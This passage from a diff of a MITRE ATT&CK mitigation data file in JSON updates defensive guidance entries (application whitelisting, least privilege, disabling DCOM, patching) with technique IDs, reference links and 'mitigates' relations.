"uuid": "06160d81-62be-46e5-aa37-4b9c645ffa31", + "value": "Exploitation for Credential Access Mitigation - T1212" + }, + { + "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1122", + "refs": [ + "https://attack.mitre.org/techniques/T1122", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e", + "value": "Component Object Model Hijacking Mitigation - T1122" + }, + { + "description": "To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories", + "meta": { + "external_id": "T1213", + "refs": [ + "https://attack.mitre.org/techniques/T1213" + ] + }, + "related": [ + { + "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "13cad982-35e3-4340-9095-7124b653df4b", + "value": "Data from Information Repositories Mitigation - T1213" + }, + { + "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)", + "meta": { + "external_id": "T1215", + "refs": [ + "https://attack.mitre.org/techniques/T1215", + "https://patchwork.kernel.org/patch/8754821/", + "http://rkhunter.sourceforge.net", + "http://www.chkrootkit.org/" + ] + }, + "related": [ + { + "dest-uuid": "6be14413-578e-46c1-8304-310762b3ecd5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "44155d14-ca75-4fdf-b033-ab3d732e2884", + "value": "Kernel Modules and Extensions Mitigation - T1215" + }, + { + "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1126", + "refs": [ + "https://attack.mitre.org/techniques/T1126", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb", + "value": "Network Share Connection Removal Mitigation - T1126" + }, + { + "description": "Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "meta": { + "external_id": "T1216", + "refs": [ + "https://attack.mitre.org/techniques/T1216" + ] + }, + "related": [ + { + "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "51048ba0-a5aa-41e7-bf5d-993cd217dfb2", + "value": "Signed Script Proxy Execution Mitigation - T1216" + }, + { + "description": "Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.", + "meta": { + "external_id": "T1218", + "refs": [ + "https://attack.mitre.org/techniques/T1218" + ] + }, + "related": [ + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "28c0f30c-32c3-4c6c-a474-74820e55854f", + "value": "Signed Binary Proxy Execution Mitigation - T1218" }, { "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", "meta": { - "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf" + "external_id": "T1129", + "refs": [ + "https://attack.mitre.org/techniques/T1129" + ] }, - "value": "Execution through Module Load Mitigation" + "related": [ + { + "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", + "value": "Execution through Module Load Mitigation - T1129" }, { - "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)", "meta": { - "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145" + "external_id": "T1175", + "refs": [ + "https://attack.mitre.org/techniques/T1175", + "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1", + "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653", + "https://technet.microsoft.com/library/cc771387.aspx" + ] }, - "value": "Exfiltration Over Physical Medium Mitigation" + "related": [ + { + "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "910482b1-6749-4934-abcb-3e34d58294fc", + "value": "Distributed Component Object Model Mitigation - T1175" }, { - "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.", "meta": { - "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da" + "external_id": "T1185", + "refs": [ + "https://attack.mitre.org/techniques/T1185" + ] }, - "value": "File System Logical Offsets Mitigation" + "related": [ + { + "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7", + "value": "Man in the Browser Mitigation - T1185" }, { - "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able.[[CiteRef::Seclists Kanthak 7zip Installer]]\n\nTurn off UAC's privilege elevation for standard users and installer detection for all users by modifying registry key\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000; to disable installer detection, add: \"EnableInstallerDetection\"=dword:00000000.[[CiteRef::Seclists Kanthak 7zip Installer]]", + "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", "meta": { - "uuid": "1022138b-497c-40e6-b53a-13351cbd4090" + "external_id": "T1158", + "refs": [ + "https://attack.mitre.org/techniques/T1158" + ] }, - "value": "File System Permissions Weakness Mitigation" + "related": [ + { + "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "84d633a4-dd93-40ca-8510-40238c021931", + "value": "Hidden Files and Directories Mitigation - T1158" }, { - "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", + "description": "Application developers should use device-provided credential storage mechanisms such as Android's KeyStore or iOS's KeyChain. These can prevent credentials from being exposed to an adversary.", "meta": { - "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0" + "external_id": "M1008", + "refs": [ + "https://attack.mitre.org/mitigations/M1008" + ] }, - "value": "Indicator Removal on Host Mitigation" + "related": [ + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d2a199d2-dfea-4d0c-987d-6195ed17be9c", + "value": "Use Device-Provided Credential Storage - M1008" }, { - "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Application Isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", "meta": { - "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271" + "external_id": "T1190", + "refs": [ + "https://attack.mitre.org/techniques/T1190" + ] }, - "value": "Indicator Removal from Tools Mitigation" + "related": [ + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "65da1eb6-d35d-4853-b280-98a76c0aef53", + "value": "Exploit Public-Facing Application Mitigation - T1190" }, { - "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if it is not required for business operations.[[CiteRef::TechNet Removable Media Control]]\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e" + "external_id": "T1111", + "refs": [ + "https://attack.mitre.org/techniques/T1111", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Replication Through Removable Media Mitigation" - }, - { - "description": "Identify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", - "meta": { - "uuid": "9378f139-10ef-4e4b-b679-2255a0818902" - }, - "value": "Service Registry Permissions Weakness Mitigation" - }, - { - "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "e8d22ec6-2236-48de-954b-974d17492782" - }, - "value": "Two-Factor Authentication Interception Mitigation" + "related": [ + { + "dest-uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "e8d22ec6-2236-48de-954b-974d17492782", + "value": "Two-Factor Authentication Interception Mitigation - T1111" }, { "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", "meta": { - "uuid": "59603b01-063c-4ddc-b444-9545cda4d8ed" + "external_id": "T1156", + "refs": [ + "https://attack.mitre.org/techniques/T1156" + ] }, - "value": ".bash_profile and .bashrc Mitigation" + "related": [ + { + "dest-uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0", + "value": ".bash_profile and .bashrc Mitigation - T1156" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44" + "external_id": "T1033", + "refs": [ + "https://attack.mitre.org/techniques/T1033", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "System Owner/User Discovery Mitigation" + "related": [ + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44", + "value": "System Owner/User Discovery Mitigation - T1033" }, { - "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [[Technique/T1068|Exploitation of Vulnerability]]. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "c88151a5-fe3f-4773-8147-d801587065a4" + "external_id": "T1010", + "refs": [ + "https://attack.mitre.org/techniques/T1010", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Application Deployment Software Mitigation" + "related": [ + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b", + "value": "Application Window Discovery Mitigation - T1010" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", "meta": { - "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b" + "external_id": "T1004", + "refs": [ + "https://attack.mitre.org/techniques/T1004", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] }, - "value": "Application Window Discovery Mitigation" + "related": [ + { + "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3", + "value": "Winlogon Helper DLL Mitigation - T1004" }, { - "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.", "meta": { - "uuid": "ac008435-af58-4f77-988a-c9b96c5920f5" + "external_id": "M1006", + "refs": [ + "https://attack.mitre.org/mitigations/M1006" + ] }, - "value": "NTFS Extended Attributes Mitigation" + "related": [ + { + "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ef771e03-e080-43b4-a619-ac6f84899884", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "0beabf44-e8d8-4ae4-9122-ef56369a2564", + "value": "Use Recent OS Version - M1006" }, { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "56db6ccc-433d-4411-8383-c3fd7053e2c8" + "external_id": "T1007", + "refs": [ + "https://attack.mitre.org/techniques/T1007", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Execution through API Mitigation" + "related": [ + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2", + "value": "System Service Discovery Mitigation - T1007" }, { - "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [[Technique/T1078|Valid Accounts]].\n\nAlso limit opportunities for adversaries to increase privileges by limiting [[Privilege Escalation]] opportunities.", + "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "9d16ddc5-abbf-438c-88f4-84a21a08adec" + "external_id": "T1080", + "refs": [ + "https://attack.mitre.org/techniques/T1080", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Access Token Manipulation Mitigation" + "related": [ + { + "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "f0a42cad-9b1f-44da-a672-718f18381018", + "value": "Taint Shared Content Mitigation - T1080" }, { - 